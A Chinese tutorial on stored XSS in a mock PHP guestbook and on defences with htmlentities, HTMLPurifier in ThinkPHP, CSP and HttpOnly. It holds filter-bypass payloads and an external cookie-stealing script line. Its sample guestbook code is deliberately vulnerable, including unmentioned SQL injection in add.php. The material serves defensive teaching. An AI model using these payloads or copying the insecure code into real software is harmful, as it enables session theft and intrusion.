PHP和Thinkphp模擬留言板,應對XSS攻擊(超完整!)

XSS攻擊原理及防禦

簡介javascript

XSS(Cross Site Scripting, 跨站腳本攻擊), 在 Web攻擊中比較常見的方式, 經過此攻擊能夠控制用戶終端作一系列的惡意操做, 如 能夠盜取, 篡改, 添加用戶的數據或誘導到釣魚網站等。php

攻擊原理css

比較常見的方式是利用未作好過濾的參數傳入一些腳本語言代碼塊一般是 JavaScript, PHP, Java, ASP, Flash, ActiveX等等, 直接傳入到頁面或直接存入數據庫。經過用戶瀏覽器閱讀此數據時能夠修改當前頁面的一些信息或竊取會話和 Cookie等, 這樣完成一次 XSS攻擊。html

例子前端

http://test.com/list?id=<script>alert('Javascript代碼塊')</script>

http://test.com/list?id=<strong οnclick='alert("驚喜不斷")'>誘惑點擊語句</strong>

http://test.com/list?id=<img src='./logo.jpg' οnclick='location.href="https://cyy.com/qq000";'/>

以上例子只是大概描述了方式, 在實際攻擊時代碼不會如此簡單java

 

一次存儲型XSS的攻防實戰

使用xss平臺,我用這段代碼來測試mysql

<script>alert(1)</script>

 

寫入一段平臺生成的xss腳本:jquery

<sCrIpt srC=//xs.sb/Zalc></sCRipT>

當某人進入帶有這個腳本的頁面時,js腳本會獲取他的cookie併發往xss平臺。git

你只須要登陸xss平臺等待便可,拿到cookie後,能夠不須要密碼登陸他的帳號。github

 

對於存儲型xss漏洞的表現形式,比較經典的是留言板。咱們本身模擬一個留言板進行測試。

首先是前端展現的頁面board.php

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>留言板</title>
    <script src="https://cdn.staticfile.org/jquery/3.5.1/jquery.js"></script>
    <script type="text/javascript">
        $(function(){
            $("#sub").on("click", function(){
    
                var formData = new FormData();
                var nickname=$("input[name=nickname]").val();
                var content=$("textarea[name=content]").val();
                var email=$("input[name=email]").val();
                formData.append("nickname",nickname);
                formData.append("content",content);
                formData.append("email",email);
                if(nickname=="" || content=="" || email=="")
                    alert("不能爲空!");
                else{
                    $.ajax({
                        //async:false,//false爲同步請求,當前請求未完成可能會鎖死瀏覽器
                        url:"add.php",
                        type:"POST",
                        processData:false,
                        contentType:false,
                        data:formData,
                        dataType:"text",
                        success:function(data){
                            console.log(data);
                            alert("success");
                            location.reload(true);//刷新頁面
                        }
                    });
                }
            });
        });
    </script>
    <style type="text/css">
        .d{
            margin-top: 2%;
            margin-left: 5%;
            margin-right: 5%;
            background-color: rgb(218,244,205);
        }
        a{
            text-decoration: none;
        }
    </style>
</head>
<body>
    <?php 
        $con = @mysqli_connect('localhost','root','123456','test') or die('鏈接數據庫失敗');
        mysqli_query('set names utf8');
        $sql = "select * from message order by `floor` ASC";
        $res = mysqli_query($con,$sql);
        while($row = mysqli_fetch_array($res)){
            echo '<div class="d" style="margin-top:1%"><div style="background-color: rgb(55,162,113);"></div></div>';
            echo '<div class="d" style="margin-top:1%"><div style="background-color: rgb(55,162,113);"><p style="text-align: right;">'.$row[0].'樓</p></div><p>'.$row['content'].'</p><a href="">'.'<pre style="text-align: right;">留言者:'.$row['nickname'].'</a><a href="">'.'    留言時間:'.date('Y-m-d H:i:s',$row['time']).'</a></pre></div>';
        }
        mysqli_close($con);
    ?>


    <div class="d">
        <form>
            <input type="text" name="nickname" placeholder="留言者暱稱"><br />
            <input type="text" name="email" placeholder="留言者郵箱"><br />
            <textarea name="content" rows="5" cols="50" placeholder="留言內容"></textarea><br />
            <input type="button" name="button" id="sub" value="提交">
        </form>
    </div>
</body>
</html>

 

後端存儲數據的頁面add.php

<?php

//接收數據
$nickname = @$_POST['nickname'];
$email = @$_POST['email'];
$content = @$_POST['content'];
$time = @time();

$con = @mysqli_connect('localhost','root','123456','test') or die('鏈接數據庫失敗');
mysqli_query('set names utf8');
$sql = "select max(floor) as max from message";
$res = mysqli_query($con,$sql);
$floor = mysqli_fetch_array($res)['max']+1;
$sql = "insert into message(floor,nickname,email,content,time) values($floor,'$nickname','$email','$content','$time')";
mysqli_query($con,$sql);
mysqli_close($con);

 

能夠看到,咱們對傳入的四個參數徹底沒有處理,而是直接存入數據庫中。

因此,只要咱們這樣輸入:

 

 

提交以後,系統會自動刷新頁面出現彈框:1

點擊肯定後,你會發現留言內容和留言者的部分都爲空。

 

 

這是由於js腳本已經被解析了,這時咱們按F12,打開瀏覽器的開發者工具,發現了js腳本。

 

那麼開發者該如何防護呢?

對關鍵字script進行過濾

做爲開發者,你很容易發現,要想進行xss攻擊,必須插入一段js腳本,而js腳本的特徵是很明顯的,腳本中包含script關鍵字,那麼咱們只須要進行script過濾便可。

$nickname = str_replace("script", "", @$_POST['nickname']);//暱稱

上面這個str_replace()函數的意思是把script替換爲空。

能夠看到,script被替換爲空,彈框失敗。

那麼黑客該如何繼續進行攻擊呢?

答案是:大小寫繞過

<sCrIPt>alert(1)</ScripT>

由於js是不區分大小寫的,因此咱們的大小寫不影響腳本的執行。

成功彈框!

 

使用str_ireplace()函數進行不區分大小寫地過濾script關鍵字

做爲一名優秀的開發,發現了問題固然要及時改正,不區分大小寫不就好了嘛。

後端代碼修正以下:

$nickname = str_ireplace("script", "", @$_POST['nickname']);//暱稱

那麼,黑客該如何繞過?

答案是:雙寫script

<Sscriptcript>alert(1)</Sscriptcript>

原理就是str_ireplace()函數只找出了中間的script關鍵字,前面的S和後面的cript組合在一塊兒,構成了新的Script關鍵字。

 

使用preg_replace()函數進行正則表達式過濾script關鍵字

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//暱稱

攻擊者如何再一次繞過?

答案是:用img標籤的oneerror屬性

<img src=x onerror=alert(1)>

 

過濾alert關鍵字

看到這裏,不知道你煩了沒有,以開發的角度來說,我都有點煩。大黑闊你不是喜歡彈窗麼?我過濾alert關鍵字看你怎麼彈!

那麼,攻擊者該怎麼辦呢?

答案是:編碼繞過

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;

&#49;&#41;>a</a>

當點擊頁面上的超連接時,會彈框。

這種編碼方式爲字符編碼

字符編碼:十進制、十六進制ASCII碼或unicode 字符編碼,樣式爲「&#數值;」, 例如「j」能夠編碼爲「&#106;」或「&#x6a; 」

上述代碼解碼以後以下:

<a href=javascript:alert(1)>a</a>

能不能讓全部進入這個頁面的人都彈框?

固然能夠了:用iframe標籤編碼

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;

&#41;>

這種寫法,一樣既沒有script關鍵字,又沒有alert關鍵字。

 

過濾特殊字符

php給咱們提供了htmlentities()函數:

$nickname = htmlentities(@$_POST['nickname']);//暱稱

htmlentities()函數的做用是把字符轉換爲 HTML 實體。

黑客在當前場景下已經沒法攻擊了(在某些其餘場景,即便使用了htmlentities()函數,仍然是能夠攻擊的,這就不在本文討論範圍以內了)

 

總結

站在開發者角度來說,用一個htmlentities()函數基本能夠作到防護

 

ThinkPHP防止XSS攻擊的方法

PHP 基於ThinkPHP,利用第三方插件htmlpurifier 防XSS跨站腳本攻擊。能夠只過濾指定標籤(過濾富文本編輯器中指定標籤)

去github上找到ezyang/htmlpurifier,推薦使用composer安裝

$ composer require ezyang/htmlpurifier

但是我在安裝的時候,一直報錯

 

 

 

還沒找到解決方案,就先用標準安裝方式了,下載好文件壓縮包

解壓獲得主要文件目錄library,重命名爲htmlpurifier,複製到thinkphp項目的Vendor目錄中

 

 

 

 

 

 

在application/common.php公共函數目錄中,添加以下代碼:

//防止xss攻擊的特殊方法
function fanXSS($string) {
    require_once '../vendor/htmlpurifier/HTMLPurifier.auto.php'; //根據實際目錄路徑進行修改
    // 生成配置對象
    $cfg = HTMLPurifier_Config::createDefault();
    // 如下就是配置:
    $cfg->set('Core.Encoding', 'UTF-8');
    // 設置容許使用的HTML標籤
    $cfg->set('HTML.Allowed', 'div,b,strong,i,em,a[href|title],ul,ol,li,br,span[style],img[width|height|alt|src]');
    // 設置容許出現的CSS樣式屬性
    $cfg->set('CSS.AllowedProperties', 'font,font-size,font-weight,font-style,font-family,text-decoration,padding-left,color,background-color,text-align');
    // 設置a標籤上是否容許使用target="_blank"
    $cfg->set('HTML.TargetBlank', TRUE);
    // 使用配置生成過濾用的對象
    $obj = new HTMLPurifier($cfg);
    // 過濾字符串
    return $obj->purify($string);
}

 

HTMLPurifier的配置屬性能夠經過其網站查詢到:http://htmlpurifier.org/live/configdoc/plain.html

一、配置屬性選擇

HTMLPurifier的配置文檔主要是兩級分類,大類分Attr(屬性)、HTML(html標籤)、AutoFormat(自動格式)、CSS(css配置)、Output(輸出配置)……小類選擇經過大類名稱加.加小類名稱能夠完成。

好比我要配置容許的html標籤,好比說p標籤和a標籤,能夠以下配置

$cfg->set('HTML.Allowed', 'p,a');

二、屬性值的選擇

在官方文檔中,點擊一個屬性後,能夠看到對這個屬性的解釋,會告訴你這個屬性的值的類型(Type)是String、Int、Array、Boolen……

接着還會告訴你這個屬性的默認值,好比是NULL仍是true仍是false等。這個值的格式就跟PHP的格式同樣的。

三、白名單過濾機制

HTMLPurifier使用了白名單過濾機制,只有被設置容許的纔會經過檢驗。

四、基本過濾事例

a、過濾掉文本中的全部html標籤

$cfg->set('HTML.Allowed', '');

b、保留超連接標籤a及其href連接地址屬性,並自動添加target屬性值爲’_blank’

$cfg->set('HTML.Allowed', 'a[href]');
$cfg->set('HTML.TargetBlank', true);

c、自動完成段落代碼並清除掉無用的空標籤

// 讓文本自動添加段落標籤,前提是必須容許P標籤的使用
$cfg->set('HTML.Allowed', 'p');
$cfg->set('AutoFormat.AutoParagraph', true);
// 清除空標籤
$cfg->set('AutoFormat.RemoveEmpty', true);

 

而後在 application目錄下的config.php 配置文件

把這個過濾方法改爲那個方法名便可

'default_filter'         => 'fanXSS',

結合框架的使用 和插件的使用可使用這個 上面的代碼能夠能夠直接使用的

 

也能夠只針對部分字段進行過濾

設置全局過濾方法爲封裝的htmlspecialchars函數:

修改application/config.php

'default_filter' => 'htmlspecialchars',

富文本編輯器內容,使用過濾的思想進行處理。

好比商品描述字段,處理以下:

//商品添加或修改功能中
$params = input();
//單獨處理商品描述字段 goods_introduce
$params['goods_desc'] = input('goods_desc', '', 'fanXSS');

 

PHP的防護XSS注入的解決方案總結

一:PHP直接輸出html的,能夠採用如下的方法進行過濾:

1.htmlspecialchars函數

2.htmlentities函數

3.HTMLPurifier.auto.php插件

4.RemoveXss函數(百度能夠查到)

二:PHP輸出到JS代碼中,或者開發Json API的,則須要前端在JS中進行過濾:

1.儘可能使用innerText(IE)和textContent(Firefox),也就是jQuery的text()來輸出文本內容

2.必需要用innerHTML等等函數,則須要作相似php的htmlspecialchars的過濾

三:其它的通用的補充性防護手段

1.在輸出html時,加上Content Security Policy的Http Header

(做用:能夠防止頁面被XSS攻擊時,嵌入第三方的腳本文件等)

(缺陷:IE或低版本的瀏覽器可能不支持)

2.在設置Cookie時,加上HttpOnly參數

(做用:能夠防止頁面被XSS攻擊時,Cookie信息被盜取,可兼容至IE6)

(缺陷:網站自己的JS代碼也沒法操做Cookie,並且做用有限,只能保證Cookie的安全)

3.在開發API時,檢驗請求的Referer參數

(做用:能夠在必定程度上防止CSRF攻擊)

(缺陷:IE或低版本的瀏覽器中,Referer參數能夠被僞造)

 

歡迎QQ交流談論:965794175

相關文章
相關標籤/搜索